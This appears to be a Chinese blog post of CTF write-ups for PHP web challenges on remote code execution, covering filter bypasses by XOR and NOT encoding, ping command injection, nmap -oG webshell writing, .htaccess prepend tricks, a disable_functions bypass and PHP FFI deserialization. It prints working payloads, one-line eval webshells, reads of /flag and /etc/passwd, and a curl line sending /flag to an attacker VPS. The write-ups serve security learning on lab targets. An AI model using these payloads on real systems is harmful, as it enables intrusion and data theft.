buu RCE

RCE

代码执行

[HITCON 2017]SSRFme

perl脚本漏洞

源码

66.90.115.138<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {//_SERVER:服务器和执行环境信息
    $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//explode函数:把字符串打散为数组
    $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];//REMOTE_ADDR:代表客户端IP
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);//创建沙盒文件夹 路径为 `sandbox/`加上`orangre66.90.115.138`的MD5值 和 页面输出的ip 在执行命令get参数的url
@mkdir($sandbox);//创建名为sandbox的沙盒目录,加上md5("orange" . $_SERVER["REMOTE_ADDR"])的值
@chdir($sandbox);//进入目录

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));//使用shell_exec函数执行一个GET请求,获取$_GET["url"]参数指定的URL的内容 escapeshellarg函数将输入的url转码 将我们输入的转换成可以被执行的字符串 方便bash执行
$info = pathinfo($_GET["filename"]);//pathinfo函数获取&_GET[“filename”]参数的以数组的形式返回文件路径信息
$dir  = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);//创建名为$info["dirname"]的目录 其中.被替换为空字符
@chdir($dir);//进入目录
@file_put_contents(basename($info["basename"]), $data);//将获取到的数据写入一个文件,文件名为$info["basename"]
highlight_file(__FILE__);

image-20240410205827998

file协议:本地文件传输协议 格式:file:///文件路径

​ file协议 利用open命令执行的前提是 要执行的文件夹存在 所以 先创建一个文件 在将结果写入文件夹

所以执行两遍?url=file:ls /|&filename=ls /|这个命令

将orange66.90.115.138md5加密为 85ff2593d41f89a13a23d33524961d22

image-20240410210819726

在访问文件 路径为/sandbox/85ff2593d41f89a13a23d33524961d22/ls /|

image-20240410212125250

看到readflag

同理 运行两遍 ?url=file:bash -c /readflag|&filename=bash -c /readflag|

访问 /sandbox/85ff2593d41f89a13a23d33524961d22/bash -c /readflag|

image-20240410212340878

注:| 是 分界符

[ISITDTU 2019]EasyPHP

源码

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

strlen函数:返回字符串长度

count_chars函数:返回字符串所用字符的信息

​ 语法:cont_chars(string,mode)

本题count_hars(string,3):返回一个去重的字符串(是所有使用过的不同的字符)

strtolower函数:将 string 中所有的字母字符转换为小写并返回

0xd :ASCII码是指 回车

preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i'
  1. [\x00- ] - 这是一个字符类,匹配从\x00(NULL字符)到空格的任意字符
  2. 0-9 - 匹配任意数字
  3. \'"``$&.,|[{_defgops - 这部分匹配提供的任何特定字符,包括单引号、双引号、美元符号、&符号、点、逗号、竖线、左方括号、左花括号、下划线以及在’d’到’g’和’o’到’p’之间的字母以及字母s
  4. \x7F - 匹配DELETE字符(ASCII码为127)
  5. ]+ - 表示前面的字符类可以匹配一次或多次
  6. /i - 这个修饰符表示正则表达式匹配是不区分大小写的

匹配到以上字符就die

找了个脚本看看除了正则顾虑掉的 还有 哪些可以用

<?php
for($i=0;$i<=127;$i++){
    if ( !preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i',chr($i)) ){
        echo chr($i);
    }
}
//!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~

第二个if

strlen(count_chars(strtolower($_), 0x3)) > 0xd 
  • 不能提交超过13种字符

可以利用取反编码绕过和异或绕过(没有过滤 ~^)

^ (异或运算符)

~取反运算符

url编码取反

image-20240411211148528

?_=(~%8F%97%8F%96%91%99%90)();

image-20240412203652100

可以看到没有屏蔽print_r函数scandir函数

构造

<?php
$_="print_r(scandir('.'));";
echo strlen(count_chars(strtolower($_),0x3));
// 15

总共有15个字符 除了必要字符() ^ ;以外最多还可以有9个字符 所以还要删掉一部分

异或

用不可见字符相异或 异或出想要的字符

0xff默认是整形,一个byte跟0xff相与会先将byte转化为整形运算 运算结果结果会是我们想要的

为什么要和0xff异或:

0xff异或参考这篇文章

之所以用%ff是因为他用二进制表示为11111111,按位异或后得到的一定是相反的二进制数,再与其异或就又可以得到原二进制数 

image-20240411222012277

获取_GET的ASCII码

_GET分别对应着95 71 69 84 //ord('_')

使用0xff分别对其进行异或

结果为 0xa0b8baab

两次异或 得到_GET

image-20240411222534348

回到本题

print_r用异或来表示(%ff没跑出来 不知道为啥)

image-20240412205210961

正常结果跑出来应该是

%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff

scandir(.)用异或表示

image-20240412205613321

%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff(%D1^%ff)

合起来

((%8F%8D%96%91%8B%A0%8D)^(%ff%ff%ff%ff%ff%ff%ff))((91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff(%D1^%ff)));

查找可以替代的字符 找的是出现次数较少的字符(用三个字母来代替)

知道字符的ascii码表的值 将三个字母进行异或 得到一个字符 进行替代

替代脚本(emmm ai写的)

def find_three_characters_for_xor(target_char):
    target_byte = ord(target_char)
    for i in range(97, 123):  # 可打印字符的ASCII码范围
        for j in range(97, 123):
            for k in range(97, 123):
                if i != target_byte and j != target_byte and k != target_byte:  # 确保i、j和k不是目标字符
                    if i ^ j ^ k == target_byte:
                        return chr(i), chr(j), chr(k)
    return None, None, None

# 目标字符a
s = 'a'

# 找到三个字符
char1, char2, char3 = find_three_characters_for_xor(s)

if char1 is not None:
    print(f"The characters that XOR to '{s}' are: {char1}, {char2}, {char3}")
else:
    print(f"No combination of three different characters found that XOR to '{s}'.")

得到

a = c^p^r
d = s^c^t
n = i^s^t

用 c p r s t i 分别和%ff进行异或

image-20240412211844981

c=%9C
p=%8F
s=%8C
t=%8B
i=%96
r=%8D

所以 print_r(scandir(.))可以表示为

有个问题 为什么多了好几个异或 这个几个异或有点费解

((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));

image-20240413101919986

Array ( [0] => index.php [1] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt )

使用end()可以返回数组的最后一项

end()函数 将数组内部指针指向最后一个元素,并返回该元素的值

image-20240413102212447

构造 readfile(end(scandir(.)))

再次寻找可以被替换的字符

r = s^d^e
f = c^l^i
n = c^l^a

分别和0xff异或

image-20240413104617442

d = %9B
e = %9A
l = %93
a = %9E

readfile用异或表示

image-20240413104917557

(%8D%9A%9E%9B%99%96%93%9A)^(%ff%ff%ff%ff%ff%ff%ff%ff)

end用异或表示

(%9A%91%9B)^(%ff%ff%ff)

readfile(end(scandir(.)))表示为

老问题 为什么合起来是这个样子 多了好几个异或

((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));

image-20240413105512976

get到一个查看有哪些函数提价是可以使用的脚本

$array=get_defined_functions();//返回所有内置定义函数
foreach($array['internal'] as $arr){
    if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
    if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
    print($arr.'<br/>');
}

image-20240411201915302

命令执行

ACTF2020 新生赛]Exec 基础的命令执行

image-20240413145057673

ping的题猜测是 远程命令执行

127.0.0.1;ls

image-20240413145209431

看到index.php 在linux系统里 显示网页的路径是/var/www/html

所以index.php在这个路径里

127.0.0.1;cd /;ls

image-20240413145431133

没有flag 并且发现 和空格没有被过滤

127.0.0.1;cd /;cat flag

image-20240413145745479

得到flag

[BUUCTF]Easybypass 很少的过滤

源码

<?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];


if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
    $comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
    $comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>
cannot open `' (No such file or directory) cannot open `' (No such file or directory)

看源码 能知道一些过滤 看到comm2 不仅过滤了cat还过滤了tac 所以用comm1 传参

image-20240413151737573

看到 flag在/flag里

只需要绕过正则就可以

用tac代替cat fla?代替flag(?代表一个字符)

image-20240413151206712

表示 正则后面拼上 在接上file 然后执行命令

image-20240413152030502

得到flag

[GXYCTF2019]Ping Ping Ping

image-20240413152219474

看到ip 再加上ping

访问127.0.0.1 访问成功 进一步查看目录

image-20240413152441911

看到flag.php 但是无法访问

image-20240413152554448

但是无法访问 猜测有过滤

做一下fuzz

image-20240413153028264

image-20240413152956421

image-20240413153211043

image-20240413153245726

image-20240413153325519

发现过滤了空格和flag这写特殊字符

空格绕过 (可以用以下 字符代替空格)

<
${<!-- -->IFS}
$IFS$9
%09

flag 可以采取拼接绕过

fl\ag

失败

image-20240413154102163

尝试访问index.php

image-20240413154421373

访问失败 才发现 <也被过滤了

image-20240413154337344

换一个过滤 发现除了 $IFS$9 其他能代替空格的都被过滤了

image-20240413154600798

index.php

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

得知:如果我们输入的 ip是存在的话,那么 ip=ip,并且会进行一个正则匹配(黑名单过滤)

image-20240413155221122

  $a = shell_exec("ping -c 4 ".$ip);//只能输入四个字符

image-20240413155712005

最后 输出源代码 并且将变量a所表示的数据打印出来 所以可以使用拼接

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

执行后点击查看网页源代码 得到flag

image-20240413160651072

[BUUCTF 2018]Online Tool escapeshellarg()和escapeshellcmd() 在一起会有问题

源码

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

image-20240413161813412

生成了一个sandbox目录的名称 目录的名称为'glzjin'和$_SERVER['REMOTE_ADDR'](客户端的ip地址)的md5值

代码使用system()函数执行了nmap命令,该命令用于扫描host参数指定的目标主机。nmap命令的参数包括image-20240413161854367

escapeshellarg()和escapeshellcmd()函数 按照先..arg在..cmd的顺序使用 会产生漏洞

escapeshellarg函数:把字符串转码为可以在设立了命令里使用的参数
功能:将字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
确保能够直接将一个字符串传入shell函数 设立了函数包括exec(),system()和反引号`
escapeshellcmd函数对字符串中可能会欺骗shell 命令执行任意命令的字符进行转
保证用户输入的数据在传送到wxec()或ysytem()函数 或者执行操符前转义
&#;`|?~<>^()[]{}$, \x0A 和 \xFF。 *’ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替

再利用nmap命令的 -oG 参数将命令和结果都写入一个文件里 从而实现一句话木马

构造payload

?host=' <?php @eval($_POST["a"]);?> -oG hi.php '

image-20240413173515747

蚁剑链接

http://40455a38-4045-4e99-acf7-8616c1405691.node5.buuoj.cn:81/0eb22488dd8a3205dac7de0d1d34ee9a/hi.php

image-20240413173446136

image-20240413174339008

得到flag

[网鼎杯 2020 朱雀组]Nmap

image-20240413172051052

是nmap工具的题,nmap工具是用来扫描网络的,一般会拿来扫目标主机的端口或操作系统之类的

nmap命令将扫描结果保存在文件里

测试一下

nmap命令:

-oN (标准输出)

-oX (XML输出)

-oS (ScRipT KIdd|3 oUTpuT)

-oG (Grep输出)

-oA (输出至所有格式)

image-20240413193119476

查看源码 发现flag在/flag里

image-20240413171832462

测试127.0.0.1 得到

image-20240413172317516

本地测试nmap命令

image-20240413172526947

发现和在页面测试效果一样

构造shell

'<?php eval($_POST["pwd"]);?> -oG hi.php'

image-20240413193931943

image-20240413193942417

发现被拦截 猜测是将php关键字过滤了或者是 oG被过滤了

先测试绕过 php 修改后缀phpphtml

<?php改为短标签 <?=

'<?= @eval(_POST['a']);?> -oG hi.phtml'

image-20240413194345799

发现 传入成功 访问hi.phtml 传入参数

image-20240413194936414

接着执行命令 得到flag

image-20240413195108900

[极客大挑战 2019]RCE ME 无字母getshell,同时进行disable_function绕过

源码

<?php
error_reporting(0);
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>40){//strlen函数用于计算字符串长度
        die("This is too Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

// ?>

看完源码 发现 code传入的长度不能超过40 还正则匹配掉一些字符

可以利用取反异或来绕过

采用取反绕过

<?php
$c='phpinfo';
$d=urlencode(~$c);
echo $d;

结果

%8F%97%8F%96%91%99%90

传入参数

?code=(~%8F%97%8F%96%91%99%90)();

image-20240413200710908

发现禁用了很多函数 接着传参

构造 <?php assert(eval($_POST[1])); ?>

为什么用assert函数不直接用eval构造是因为eval不是php函数 无法通过变量函数的方法直接调用 所以要用assert函数来调用 但是因为版本问题 所以不能构造 <?php assert($_POST[1]); ?>

所以要构造 <?php assert(eval($_POST[1])); ?>

image-20240413200959994

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);

传参 蚁剑连接

image-20240413202419424

image-20240413202529845

因为禁用了一些函数 所以需要绕过

两种方法 想选择 使用插件绕过 但是出了点小问题

第一种 上传bypass_disablefun_x64.so和bypass_disablefunc.php(重命名为shell.php)

image-20240413211305343

image-20240413211340064

在构造 ?code=${GET}_;&=assert&_=eval($_POST['a'])使用异或绕过

payload

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

image-20240413211553580

得到flag

第二种 使用插件绕过(但是我的一直在获取数据 所以先记录一下)

image-20240413210653992

在插件市场

image-20240413210804980

选择PHP_GC_UAF模式

image-20240413210835371

然后回进入到一个虚拟shell模式,输入/readflag,得到flag

image-20240413210914024

[FBCTF2019]RCEService 正则字符串回溯绕过

image-20240413212832556

随便传上去点啥 看到url里显示cmd 再加上json格式

json文件格式:一定要用双引号括起来

猜测是{"cmd":"ls"}

image-20240413213021765

构造 {"cmd":"cat index.php"} 感觉是被过滤了 过滤了很多命令比如 / cat

image-20240413214141210

看wp感觉不是比赛给的源码 但是确实输入命令 {%0a"cmd":"/bin/cat *"%0a} 拿不到源码

这里贴一下源码

index.php

过滤了很多东西

<?php
putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

看源码发现 为了避免调用系统命令,改变了系统环境变量

用不了cat 也是因为这个环境下没有二进制文件 所以需要用/bin/cat 来调用cat命令

image-20240413215308437

方法一

%0a换行符绕过

从上边的源码可以知道 路径为/home/rceservice/jail

?cmd={%0a"cmd":"ls /home/rceservice"%0a}

image-20240413220408046

?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

image-20240413215233829

得到flag

方法二 正则最大回溯

要用POST传参 因为GET会因为header太大而报错

用preg_match的回溯限制,长度为一百万,来绕过preg_match,因为当preg_match匹配的字符串太长的时候就会返回false,也就是数据溢出

关于正则最大回溯绕过preg_match 参考这篇文章

image-20240413221824427

得到flag

[红明谷CTF 2021]write_shell

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}

看到代码有waf和上传文件功能

正则匹配 _,php,~,^,空格等符号 定义了waf函数 用check函数进行检查过滤 不允许写入黑名单中

sandbox创建目录

  • 如果actionpwd,则显示存储上传文件的目录路径
  • 如果actionupload,则从$_GET["data"]参数获取数据,使用waf函数对其进行过滤,然后将数据保存到index.php文件中

构造payload ?action=pwd 使其创建目录

image-20240414211346657

sandbox/1254adea244b6ef09ecedbb729f6c397/index.php

image-20240414211506785

file_put_contents()函数 会把数据data写入index.php文件

php采用.拼接 空格用%09代替

构造payload /?action=upload&data=<?=(ph.pinfo)()?>

image-20240414211932303

访问 发现写入成功

PHP运算符 "`“反引号 PHP将反引号中的内容作为shell命令来执行 并将输出的信息返回(使用反引号的效果和shell_exec()函数效果一样)

注:关闭了shell_exec()函数 反引号运算符是无效的 且 反引号不能再上引号里使用

构造paylaod

?action=upload&data=<?=`ls%09/`?>

传参之后 访问sandbox 得到目录

image-20240414214701744

接着访问 flllllll1112222222lag 构造payload

?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>

image-20240414215332932

得到flag

[羊城杯2020]easyphp

源码

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }//检查content和filename参数是否被设置
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
.表示当前目录
..表示当前目录的上一级目录
./当前目录,后可指定
../父级目录

获取当前目录 下所有文件和目录

image-20240415190159097

is_fiel($file) 如果所有当前项文件名不是index.php 就使用 unlink($file)函数删除文件(会删除当前目录下除了index.php的所有文件)

image-20240415191001237

stristr函数作用:返回字符串中首次出现子串的地址

stristr函数检查content参数是否包含特殊字符:on,html,type,flag,upload,file 如果包含以上其中一个 脚本执行结束

image-20240415191343052

preg_match函数正则匹配 小写字母和.

然后脚本再次执行scandir('./')检查文件

image-20240415191627349

使用 file-put_content函数将content参数的内容和 Hello World写入filename参数指定的文件中 (如果这个文件不存在将会 创建该文件)

构造payload

?filename=index.php&content=<?php phpinfo(); ?>

没反应

可能是php配置 php_flag engine关闭了 是配置问题 所以需要配置文件 考虑使用.htaccess (没太搞懂为什么能想到是配置问题 想到是用.htaccess文件)

格式为 php_value 名称 值 在写一句话(以注释的方式) 然后在页面顶部加载 auto_prepend_file

image-20240415212804499

image-20240415211644822

php_value auto_prepend_file.haccess
#<?php phpinfo();?>

.htaccess 文件中 可以使用 # 进行单行注释 且支持\来拼接上下两行语句

再将过滤和 \n转义掉 改成符合.haccess文件的规范格式

php_value auto_prepend_fil\
e ".htaccess"
#<?php phpinfo();?>
#\

编码一下

image-20240415205948226

/?filename=.htaccess&content=php_value+auto_prepend_fil%5C%0Ae+.htaccess%22%0A%23%3C%3Fphp%20phpinfo()%3B%3F%3E%0A%23%5C

image-20240415210751500

同理 flag换成fl??

?filename=.htaccess&content=php_value+auto_prepend_fi%5C%0D%0Ale+.htaccess%0D%0A%23%3C%3Fphp%20cat%09/fl??%3B%3F%3E%0D%0A%23%5C

image-20240415193731884

CSAWQual 2016]i_got_id ???

image-20240416213923854

形式

image-20240416214006549

简单的注入并无结果

image-20240416214421763

文件

image-20240416214024241

上传文件

image-20240416214208403

发现回显文本内容

perl编写的网页文件 大佬们都是直接猜出来后端代码的

if ($cgi->upload('file')) {
    my $file = $cgi->param('file');
    while (<$file>) {
        print "$_";
        print "<br />";
    }
}

先引入知识点 argv和argc参考链接

argc是传递给应用程序的参数个数,argv是传递给应用程序的参数,且第一个参数为程序名

参数argc和argv是由main()传递的参数个数和内容

也就是

回到本题

param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中

while (<$file>) { <>半那处理字符串 除非是ARGV ,因此他循环遍历ARG值 并将每个值插入open()中调用

传入一个argv的文件 perl会将传入的参数作为文件名读出来

因此 在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了

  • 域名后添加?cat+/etc/passwd
  • image-20240420203405760
  • 复制为15.16行内容,删除filename
  • image-20240420203421834
  • 添加ARGV

image-20240420203236101

猜测flag在/flag

image-20240420203337529

得到flag

感觉懂了又没懂...

[RCTF 2019]Nextphp ???

查看源码

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

构造 ?a=phpinfo();

image-20240416173623203

FFI参考链接PHP FFI详解

PHP7.4扩展:PHP FFI 让我们可以调用C的各种库

·······

使用FFI::cdef(按照官方样例)

<?php
$ffi = FFI::cdef("int system (const char* command);");
$ffi->system("ls");
?>

preload:用于在页面加载之前预加载资源,例如图片、CSS、JavaScript等,以提高页面加载速度和性能

image-20240416183020951

image-20240415221416650

发现禁用了很多函数 只能查看路径var/www/html

构造paylaod

?a=echo var_dump(scandir("/var/www/html/"));

image-20240416172258188

获取当前目录 或者 ?a=print_r(scandir('./'));也可以获取当前目录

image-20240416182023902

查看preload.php内容

?a=echo file_get_content("preload.php")

image-20240416173828547

格式化代码

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    //可以进行函数执行
    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        //array_merge把两个数组合并为一个数组
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        
        $this->data = unserialize($payload);
        $this->run();
    }
    //结果输出
    public function __get ($key) {
        //如果$key为ret,就可以输出函数执行返回的结果
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

反序列化 实现调用data

构造exp

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(const char *command);'     //声明
    ];

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
    }
}

$a = new A();
echo base64_encode(serialize($a));

输出结果

QzoxOiJBIjo2MTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6NzoicHJpbnRfciI7czozOiJhcmciO3M6MToiMSI7fX0=

传入 $a 的值后 进行unserialize 然后执行 run()函数 在执行 data['ret']=FFI::coef('int system(char *command);')实现从C库中加载system函数

利用格式 构造最后的paylaod

?a=unserialize(base64_decode(上面生成的payload))->__serialize()['ret']->system(系统命令);
命令执行的结果不会回显,可以用VPS接收flag,执行命令 curl -d @/flag http://VPS的ip

[探姬杯LitCTF2024]高亮主题(划掉)背景查看器

源码

<?php
error_reporting(0);

$a = $_GET['a'];
$b = $_GET['b'];

$c = $_GET['c'];

if ($a !== $b && md5($a) == md5($b)) {
        if (!is_numeric($c) && $c > 2024) {
            echo "好康的";
        } else {
            die("干巴爹干巴爹先辈~");
        }
    }
else {
    die("开胃小菜))");
}
开胃小菜))

md5绕过

http://node4.anna.nssctf.cn:28486/?a=s1885207154a&b=s1836677006a

image-20240610112949733

http://node4.anna.nssctf.cn:28486/?a=s1885207154a&b=s1836677006a&c=9999,

image-20240610113010026

dollar.php


<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
    $x = $_GET['x'];
    if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
            system("cat ".$x.".php");
    }
}else{
    highlight_file(__FILE__);
}
?>

绕过preg_match

尝试?x[]=12

不行

注意到没过滤掉 system("cat" .$x. "php),只需要构造出12

使用 $(())来获取,用 ~来取反

$((~$(())))wei -1
-1-1外面在该uoh三个一层$(())才是-2为$(($((~$(())))$((~$(())))))
同理可得-12 再在外面过上一层~$(())取反使其为正数

image-20240610153153267

payload

http://node4.anna.nssctf.cn:28486/dollar.php?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

访问源码

image-20240610155058904

posted @ 2024-04-14 22:10  Yolololololo  阅读(35)  评论(0编辑  收藏  举报